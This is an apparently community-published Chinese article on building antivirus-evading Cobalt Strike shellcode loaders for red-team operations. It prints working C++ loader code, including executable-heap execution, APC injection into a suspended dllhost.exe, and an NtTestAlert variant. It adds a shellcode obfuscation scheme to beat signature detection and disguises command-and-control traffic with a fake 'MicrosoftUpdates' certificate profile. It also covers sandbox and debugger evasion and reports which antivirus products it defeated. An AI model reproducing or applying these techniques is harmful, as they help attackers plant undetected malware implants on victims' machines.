这是一个以 C++ 为语言的加载器,C++ 有很多 Shellcode 加载器,远程注入等等多种多样的,有些被杀软特征记录,那么就需要换一个不被记录的。
GoPassC 天青选择的加载器还是那三步走,开辟空间-写入空间-执行 Shellcode:
HANDLE mimi = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void\* jiamijiami = HeapAlloc(mimi, 0, 0x100000);RtlMoveMemory(jiamijiami, b, sizeof(b));CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)jiamijiami, NULL, 0, 0);
5.3 加密解密
Shellcode 一般都是这样写入 cpp 文件中的
char shellcode[] = “\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc”;
它是 16 进制的机器码,那么 char 类型还可以将 Shellcode 转为 ascii 码,C 语言也是会识别,这里可以用 Python 的 ord 函数,简单方便。
这有什么用呢?这样就可以在数字基础上进行加法减法运算,比如 a 的为 97,那么在 a 的基础上 97+1=98 识别后就变为了 b,而不是原来的 a,这样可以进行绕过。但是该加密解密太过简单,需要换个复杂的加密解密。
由上可得 ascii 可以被识别,所以可以全部转换为 0-255 的数字,那么他们肯定会有重复的,一段 Shellcode 里面肯定不止一个 \xfc 这个十六进制。
而且每个十六进制占一位,并且自己有位置编号,可以将他们提出来总结,并且 ascii 编码(\xfc为252 \xbb为187 \xaa为170),这样我们有 ascii 码,有数量,有位置,就可以还原回去。
ASCII | 数量 | 位置 |
---|---|---|
252 | 3 | 0,3,4 |
187 | 1 | 1 |
170 | 1 | 2 |
这样杀软根本无法识别和解密,用多维数组的结构进行存储这样的数据再合适不过了。
int a[][100] = {
{252,3,0,3,4},
{187,1,1},
{170,1,2}}
最后用 for 循环去读取赋值到一个 char 数组里就行了:
Char b[1500]=””;
int width = sizeof(a) / (sizeof(a[0])); //获取a数组有多少行
for (int i = 0; i < width; i++) {
for (int j = 0; j < a[i][1]; j++) {
b[a[i][j + 2]] = a[i][0];
}
}
测试时发现某全家桶是不会进行拦截的,但是某软还是会进行拦截。
前提 Shellcode 已测试过单独运行不被拦截,那么现在需要排查的这个加密是不是太过简单,而且这样需要考虑到,大批量用户使用时,很多十六进制都是固定的,那么也会被特征标记,如果全家桶拦了,相信你也可以动手改一改,你可以将 ascii 码加上一个数如 252+200=457,载入时,再减去。再比如不用第二位存数量,改为第三位,第四位,或者加上一个数,载入时再减去。再比如位置那里也可以批量加一个数字,载入时再减去等等。
既然某软拦截了,就必须找到为什么拦截。我在代码中加入一个判断,如下:
Int a=123;
if(a==1){
Shellcode加载执行代码
}
发现不报毒,这里只提示到这,多思考为什么,你就能一行代码免杀某软(GoPassC 天青中没有进行绕过)。
0×06 GoPassC 昆仑
6.1 插件需求
在 HVV 期间遇到某软等多个杀软拦截,且内网需要中转上线,所以必须用到不分阶段的 Shellcode 进行免杀。
该插件的目标:
- 支持对不分阶段 beacon.bin 进行免杀,且支持分阶段 payload.c 文件进行免杀。
- 编译环境配置一键化
- 生成过程一键化
- 免杀范围广
- 加入反沙盒延长免杀时效
6.2 CS端口特征更改
在安装 CS 的过程中,CS 的服务端 teamserver 文件中的存在着端口信息。
可以将端口 50050 改为其他的端口。
6.3 流量加密及内存部分特征隐藏
6.3.1 store文件更改
在 CS 服务端目录下,存在默认的 cobaltstrike.store 文件,需要重新生成。
通过 keytool -h 可以看到相关的相关的生成命令,具体的自行查阅相关文章进行学习。
keytool -genkey -alias bypass -keyalg RSA -validity 36500 -keystore bypass.store
自己设置相关密码,根据提示设置相关信息即可生成新的文件。
6.3.2 profile文件流量特征更改
具体更改请查阅其他文章进行学习,本文只指出重点。必须填入刚才生成的 store 文件名称和密码,还有相关的配置信息。
https-certificate {
set password "MicrosoftUpdates";
set keystore "MicrosoftUpdates.store";
}
https-certificate {
set CN
"US";
set O
"MicrosoftUpdates";
set C
"en";
set L
"US";
set OU
"MicrosoftUpdates";
set ST
"US";
set validity "365";
}
然后对 get 或 post 请求字符串进行加密和更改前几个字节和后几个字节信息,避免找到相关特征。
6.3.3 profile文件内存特征更改
通过修改 stage 修改部分载入内存的字符特征,修改前几个字符,和替换 ReflectiveLoader,beacon 关键字,和替换 beacon.dll 的名字,在睡眠时间对内存进行混淆,抹去存放在内存中的反射 DLL 等等等等。由此可见要好好利用 stage 标签,它是非常强大的。
6.4 新的shellcode加载器
基础版:
APC 注入的原理是利用当线程被唤醒时 APC 中的注册函数会被执行的机制,并以此去执行我们的 DLL 加载代码,进而完成 DLL 注入的目的,其具体流程如下:
1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleob jectEx() 时,系统就会产生一个软中断。
2.当线程再次被唤醒时,此线程会首先执行 APC 队列中的被注册的函数。
3.利用 QueueUserAPC() 这个 API 可以在软中断时向线程的 APC 队列插入一个函数指针,如果我们插入的是 Loadlibrary() 执行函数的话,就能达到注入 DLL 的目的。
UINT shellcodeSize = sizeof(a);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\dllhost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, a, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
while (1) {};
增强版:
NtTestAlert 是一个未公开的 Win32 函数,该函数的效果是如果 APC 队列不为空的话,其将会直接调用函数 KiUserApcDispatcher 处理用户 APC,如此一来排入的 APC 可以立马得到运行。
hututuZHNtTestAlert hututuZHAlert = (hututuZHNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(a);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, a, shellSize, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
hututuZHAlert();
6.5 新的加密方法
由 Gopassc 天青的加密方式,16 进制转 ascii 码,再对数字进行加减运算,记录位置等等,但对于一个文件而言,数字太多是不正常的。正常的代码中是不会有很多很多数字的,改良加密方法:将数字改为英文字母,将索引作为 ascii 的值。
可以利用的字母一共 26 个大写,26 个小写,共计 52 个。随机抽取 5 个字母,与其余 52 个排列组合,共有 52x5=260 个结果,超过了 0-255 范围,将 260 个结果的索引作为 ascii 的值去还原 Shellcode 即可。
举例来说抽取 ab 作为第一个字母,ab 作为第二个字母,共组合有 [aa,ab,ba,bb]4 中结果
char shellcode[] = "\x00\x00\x01\x02\x03\x04\x00\x01";
转换为 ascii 即为:[0,0,1,2,3,4,0,1]
对应的字母即为 shellcode=[aa,aa,ab,ba,bb,aa,ab]
每次加密都是随机取的字母,所以每次结果都不一样,既减少了数字的出现,又混淆了 Shellcode。
6.6 加入反沙盒
加入反沙盒机制,测试对象某步,某恒,某勃,某信。
原理通过 wmic 命令来查询机器信息判断是否处于沙盒环境,注意此处不针对虚拟机,只针对沙盒,SELECT * FROM CIM_Slot 这条命令可以判断出绝大多数的沙盒。用 C++ 实现相关代码,其中优化对某恒的 win7 下的沙盒环境判断:
通过沙盒桌面的特定文件来判断是否处于沙盒中,可见虚拟机的桌面中存在很多文件,其中有 amd.pptx 和 Balance.jpg 两个文件,用 C++ 代码判断两个文件同时存在,存在即为沙盒中。
6.7 加入反调试
加入反调试不是重点,因为源码都给了,没有太多必要,所以只加入简单功能,主要还是来检测是否在沙盒环境,尽可能的延长免杀时间,加入的反调试功能为检测 SeDebugPrivilege。mimikatz 时,第一条命令 privilege::debug 其实开启的就是 SeDebugPrivilege 特权,正常用户是不会开启这种特权的。
6.8 最终效果
6.8.1 沙盒环境
肯定有师傅会放入沙盒测试,那我先帮你们测了,仅测试以下几种,其他自行测试:
1.某恒:
2.某步:
3.某勃:
4.某信:
6.8.2 杀软环境
仅测试一下几种常见杀软,其他的请自行测试后使用,使用的带图标增强版:
数字全家桶(开启晶核版本,WIN10 物理机环境):
卡巴( WIN11 虚拟机环境):
WD10( WIN10 物理机环境):
WD11( WIN11 虚拟机环境):
某绒( WIN10 物理机环境):
某管家( WIN10 物理机环境):
魔法保姆( WIN11 虚拟机环境):
机器人( WIN11 虚拟机环境):
使用的带图标基础版本
橘子( WIN11 虚拟机环境)
插件开发文档:
https://gobies.org/docs.html
关于插件开发在B站都有详细的教学,欢迎大家到弹幕区合影~
https://www.bilibili.com/video/BV1u54y147PF/
Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。
也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell 等文章均可),审核通过后可加 5000-10000 社区积分哦,我们在积分商城准备了好礼,快来加入微信群体验~~~
戳这里领取一份插件任务吧!